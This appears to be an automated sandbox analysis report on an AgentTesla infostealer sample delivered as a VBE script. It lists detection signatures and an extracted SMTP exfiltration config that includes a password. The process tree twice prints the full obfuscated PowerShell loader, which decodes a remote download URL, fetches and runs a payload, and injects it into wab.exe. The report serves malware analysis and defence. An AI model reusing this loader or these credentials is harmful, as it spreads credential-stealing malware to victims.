Analysis
- max time kernel
146s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
- submitted
01/06/2024, 01:49
General
- Target c9712ba57f4a28529f198f85185717f9607e1301c69cb565c839b7e9476e52ec.vbe
- Size 5KB
- Sample240601-b86ltaed52
- SHA256 c9712ba57f4a28529f198f85185717f9607e1301c69cb565c839b7e9476e52ec
Score
10/10
Malware Config
Extracted
Family
-
agenttesla
Credentials
-
Protocol
smtp
-
Host
smtp.bluegatehomecares.com
-
Port
587
-
Username
-
Password
GUHTugT7
-
Email to
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Detect packed .NET executables. Mostly AgentTeslaV4. 2 IoCs
- Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 2 IoCs
- Detects executables referencing Windows vault credential objects. Observed in infostealers 2 IoCs
- Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs
- Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs
- Detects executables referencing many file transfer clients. Observed in information stealers 2 IoCs
- Blocklisted process makes network request 2 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 15 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c9712ba57f4a28529f198f85185717f9607e1301c69cb565c839b7e9476e52ec.vbe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Gdningsopbevaringerne='S';$Gdningsopbevaringerne+='ubs';$Gdningsopbevaringerne+='tri';$oceanologic = 1;$Gdningsopbevaringerne+='ng';Function Rubidumets($Ujordiskes){$udraab=$Ujordiskes.Length-$oceanologic;For( $Bentlee=1;$Bentlee -lt $udraab;$Bentlee+=2){$enhedstryk+=$Ujordiskes.$Gdningsopbevaringerne.Invoke( $Bentlee, $oceanologic);}$enhedstryk;}function Burgout($Tillgsmandatet){ . ($sigrid) ($Tillgsmandatet);}$Refroze=Rubidumets 'KMKo z i lslFaB/ 5B.N0 A(.WRi,n d oKw sK NATN M1 0O.S0G;L WBi,n 6 4C; xU6a4H;L DrCv,: 1K2 1,.S0B)S G.eLcrkVoD/S2P0P1T0 0,1M0 1M .Fii rFe fNoLx /,1 2S1P.,0 ';$Unseasonably=Rubidumets 'CU s eMrK- A.g eCnUtO ';$skyteren=Rubidumets 'UhUtvtSpUsT:,/ /BdPr i vOeI.CgHo,oFg.l eD.McgoAm,/ u.cK?We.xGpro rOtG=Dd,o w nLlPoGaBdW&Ai,d,=,1 UPJ,8 pWLHzCXSw.oSk aUr.wFsR8 _ Y r 5,kCJBTSI k l C,vtrCdPV - I ';$Smeltman=Rubidumets ',>U ';$sigrid=Rubidumets 'Pi.eKx ';$undominative='Blueweeds';$Kaes = Rubidumets ',eAc h o O% aupSpTdfaAtSaN%H\VI n k,lPuMddeFrKi,nRgfe nTs . KAa s, ,&K&d emc.hFo Dt ';Burgout (Rubidumets ' $tg l o bNaCl :.H eusBt e.vRdwd.e l.b.=T(Vc mTdt s/AcP $ K aIe s.), ');Burgout (Rubidumets ' $Sgrl oCbsaKlU:AI n,k.a,s.sCo.sRa.lrr.sr1M0A9.=S$Us kZy t e rRe n ..s p.l.ist (T$FS mCe l t mSa n ) ');$skyteren=$Inkassosalrs109[0];$Illusionslse= (Rubidumets ' $IgMl oFb,aGlN: H a.a.n dMvCrCkSs,b a g e,rkeKn =UN eBwF-FO bUjteSc,t, BS,yPs,t e m..,NBe t,. WVeHbLCZlMiNeDnTt');$Illusionslse+=$Hestevddelb[1];Burgout ($Illusionslse);Burgout (Rubidumets ',$DH aJaMnRdCvPr k,sEb,a gRe rSeFn . HWe,a.dGe,rSsF[A$,USn s eQaFs,oKnSaDbDl.ys]B= $.R,eTf rOoVz eT ');$Tivolierne=Rubidumets 'W$,H.a.a nSdTvRrAk sHbPa gTeTrbe n .bD oCwEn,lSo audSFIi l.eO(U$Ps.k y t,eTr ePn ,L$ r kGe,hFeEr tCu g e r s )s ';$rkehertugers=$Hestevddelb[0];Burgout (Rubidumets 'D$Sg laoNb,aGl :IKSl o sS= (.T eLsBtR- PTa,tghF l$Ur.kFe h e r,t.u g e rPsC)S ');while (!$Klos) {Burgout (Rubidumets '.$ g l.oSbIaGl,:UAFl tAs t e,mMm emr nGeCsF=S$Lt r,uPeW ') ;Burgout $Tivolierne;Burgout (Rubidumets 'DS tRaFr.tG-.SRl eAe p, T4 ');Burgout (Rubidumets '.$,gGl o b.a,l.:KK lDo ss=.( T eas,tG-.PSaStBhH $sr.kae,hUe.rDt u gKe r sD) ') ;Burgout (Rubidumets 'T$,g.lVo.b,aAlA:EKHa d.m iCuKm e.tTs = $ gSlGo bVa lS:PBDr u s,k + +G%,$.I nCk.a sgs oDsUa,l rAsN1 0S9..Mc o usnStS ') ;$skyteren=$Inkassosalrs109[$Kadmiumets];}$Intersected=357313;$pipy=26939;Burgout (Rubidumets 'C$.gVl o b a lP: CMa t gluBtBtBeSn. R=, UG e tE-.C oFnAt.e.n t, $Ar k e h eEr.tSu.g e rSs ');Burgout (Rubidumets 'C$ g lCoDb aRl,: R,h e aFd,i,nNeB S= ,[SS,y.sKt,eNm.. C o n v ePr t ]H:.: FUr oGm.BUa s eS6 4HSPtGr i nNg,( $AC aEtAg uSt t e nS)a ');Burgout (Rubidumets 'B$DgTl.oLb atl :,TMo tIa l fGoDrUsUiSk r i n.g.eMrIn e, ,= .[,SUy sBt eAmE. T ehxKtW..E,nBc oCd iKn gF]T:,:SAMS.CMIFIK.BG.e tRSUtOrAiHnGg (F$HR,hVeHa dAiSn,eR)i ');Burgout (Rubidumets ' $Mgsl osbEaTl : FTlraPvUo b.aSc.t e.rUi u mG=E$,TDo t.aElAfKo r sSi kNrIiLn gDe.rPnFe,.EsPu bDs.t.r iSnKg,(R$.I.nPtSeSr sMeTcUtSeCd ,L$Up i.pRyP). ');Burgout $Flavobacterium;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Inkluderingens.Kas && echo t"3⤵
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Gdningsopbevaringerne='S';$Gdningsopbevaringerne+='ubs';$Gdningsopbevaringerne+='tri';$oceanologic = 1;$Gdningsopbevaringerne+='ng';Function Rubidumets($Ujordiskes){$udraab=$Ujordiskes.Length-$oceanologic;For( $Bentlee=1;$Bentlee -lt $udraab;$Bentlee+=2){$enhedstryk+=$Ujordiskes.$Gdningsopbevaringerne.Invoke( $Bentlee, $oceanologic);}$enhedstryk;}function Burgout($Tillgsmandatet){ . ($sigrid) ($Tillgsmandatet);}$Refroze=Rubidumets 'KMKo z i lslFaB/ 5B.N0 A(.WRi,n d oKw sK NATN M1 0O.S0G;L WBi,n 6 4C; xU6a4H;L DrCv,: 1K2 1,.S0B)S G.eLcrkVoD/S2P0P1T0 0,1M0 1M .Fii rFe fNoLx /,1 2S1P.,0 ';$Unseasonably=Rubidumets 'CU s eMrK- A.g eCnUtO ';$skyteren=Rubidumets 'UhUtvtSpUsT:,/ /BdPr i vOeI.CgHo,oFg.l eD.McgoAm,/ u.cK?We.xGpro rOtG=Dd,o w nLlPoGaBdW&Ai,d,=,1 UPJ,8 pWLHzCXSw.oSk aUr.wFsR8 _ Y r 5,kCJBTSI k l C,vtrCdPV - I ';$Smeltman=Rubidumets ',>U ';$sigrid=Rubidumets 'Pi.eKx ';$undominative='Blueweeds';$Kaes = Rubidumets ',eAc h o O% aupSpTdfaAtSaN%H\VI n k,lPuMddeFrKi,nRgfe nTs . KAa s, ,&K&d emc.hFo Dt ';Burgout (Rubidumets ' $tg l o bNaCl :.H eusBt e.vRdwd.e l.b.=T(Vc mTdt s/AcP $ K aIe s.), ');Burgout (Rubidumets ' $Sgrl oCbsaKlU:AI n,k.a,s.sCo.sRa.lrr.sr1M0A9.=S$Us kZy t e rRe n ..s p.l.ist (T$FS mCe l t mSa n ) ');$skyteren=$Inkassosalrs109[0];$Illusionslse= (Rubidumets ' $IgMl oFb,aGlN: H a.a.n dMvCrCkSs,b a g e,rkeKn =UN eBwF-FO bUjteSc,t, BS,yPs,t e m..,NBe t,. WVeHbLCZlMiNeDnTt');$Illusionslse+=$Hestevddelb[1];Burgout ($Illusionslse);Burgout (Rubidumets ',$DH aJaMnRdCvPr k,sEb,a gRe rSeFn . HWe,a.dGe,rSsF[A$,USn s eQaFs,oKnSaDbDl.ys]B= $.R,eTf rOoVz eT ');$Tivolierne=Rubidumets 'W$,H.a.a nSdTvRrAk sHbPa gTeTrbe n .bD oCwEn,lSo audSFIi l.eO(U$Ps.k y t,eTr ePn ,L$ r kGe,hFeEr tCu g e r s )s ';$rkehertugers=$Hestevddelb[0];Burgout (Rubidumets 'D$Sg laoNb,aGl :IKSl o sS= (.T eLsBtR- PTa,tghF l$Ur.kFe h e r,t.u g e rPsC)S ');while (!$Klos) {Burgout (Rubidumets '.$ g l.oSbIaGl,:UAFl tAs t e,mMm emr nGeCsF=S$Lt r,uPeW ') ;Burgout $Tivolierne;Burgout (Rubidumets 'DS tRaFr.tG-.SRl eAe p, T4 ');Burgout (Rubidumets '.$,gGl o b.a,l.:KK lDo ss=.( T eas,tG-.PSaStBhH $sr.kae,hUe.rDt u gKe r sD) ') ;Burgout (Rubidumets 'T$,g.lVo.b,aAlA:EKHa d.m iCuKm e.tTs = $ gSlGo bVa lS:PBDr u s,k + +G%,$.I nCk.a sgs oDsUa,l rAsN1 0S9..Mc o usnStS ') ;$skyteren=$Inkassosalrs109[$Kadmiumets];}$Intersected=357313;$pipy=26939;Burgout (Rubidumets 'C$.gVl o b a lP: CMa t gluBtBtBeSn. R=, UG e tE-.C oFnAt.e.n t, $Ar k e h eEr.tSu.g e rSs ');Burgout (Rubidumets 'C$ g lCoDb aRl,: R,h e aFd,i,nNeB S= ,[SS,y.sKt,eNm.. C o n v ePr t ]H:.: FUr oGm.BUa s eS6 4HSPtGr i nNg,( $AC aEtAg uSt t e nS)a ');Burgout (Rubidumets 'B$DgTl.oLb atl :,TMo tIa l fGoDrUsUiSk r i n.g.eMrIn e, ,= .[,SUy sBt eAmE. T ehxKtW..E,nBc oCd iKn gF]T:,:SAMS.CMIFIK.BG.e tRSUtOrAiHnGg (F$HR,hVeHa dAiSn,eR)i ');Burgout (Rubidumets ' $Mgsl osbEaTl : FTlraPvUo b.aSc.t e.rUi u mG=E$,TDo t.aElAfKo r sSi kNrIiLn gDe.rPnFe,.EsPu bDs.t.r iSnKg,(R$.I.nPtSeSr sMeTcUtSeCd ,L$Up i.pRyP). ');Burgout $Flavobacterium;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Inkluderingens.Kas && echo t"4⤵
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_hif25qx4.lxq.ps1
Inkluderingens.Kas
memory/484-61-0x00000000229C0000-0x00000000229CA000-memory.dmp
memory/484-60-0x00000000230B0000-0x0000000023142000-memory.dmp
memory/484-59-0x0000000022FC0000-0x0000000023010000-memory.dmp
memory/484-55-0x0000000000EE0000-0x0000000000F20000-memory.dmp
memory/484-54-0x0000000000EE0000-0x0000000002134000-memory.dmp
memory/3168-33-0x0000000006B20000-0x0000000006B3A000-memory.dmp
memory/3168-17-0x00000000056D0000-0x00000000056F2000-memory.dmp
memory/3168-19-0x0000000005F20000-0x0000000005F86000-memory.dmp
memory/3168-29-0x0000000005F90000-0x00000000062E4000-memory.dmp
memory/3168-30-0x0000000006580000-0x000000000659E000-memory.dmp
memory/3168-31-0x00000000065C0000-0x000000000660C000-memory.dmp
memory/3168-32-0x0000000007DF0000-0x000000000846A000-memory.dmp
memory/3168-15-0x0000000004FC0000-0x0000000004FF6000-memory.dmp
memory/3168-34-0x0000000007830000-0x00000000078C6000-memory.dmp
memory/3168-35-0x00000000077C0000-0x00000000077E2000-memory.dmp
memory/3168-36-0x0000000008A20000-0x0000000008FC4000-memory.dmp
memory/3168-18-0x0000000005E30000-0x0000000005E96000-memory.dmp
memory/3168-38-0x0000000008FD0000-0x000000000B2F4000-memory.dmp
memory/3168-16-0x0000000005790000-0x0000000005DB8000-memory.dmp
memory/5052-41-0x00007FFCB82D0000-0x00007FFCB8D91000-memory.dmp
memory/5052-39-0x00007FFCB82D3000-0x00007FFCB82D5000-memory.dmp
memory/5052-0-0x00007FFCB82D3000-0x00007FFCB82D5000-memory.dmp
memory/5052-58-0x00007FFCB82D0000-0x00007FFCB8D91000-memory.dmp
memory/5052-12-0x00007FFCB82D0000-0x00007FFCB8D91000-memory.dmp
memory/5052-11-0x00007FFCB82D0000-0x00007FFCB8D91000-memory.dmp
memory/5052-2-0x000002C2F98C0000-0x000002C2F98E2000-memory.dmp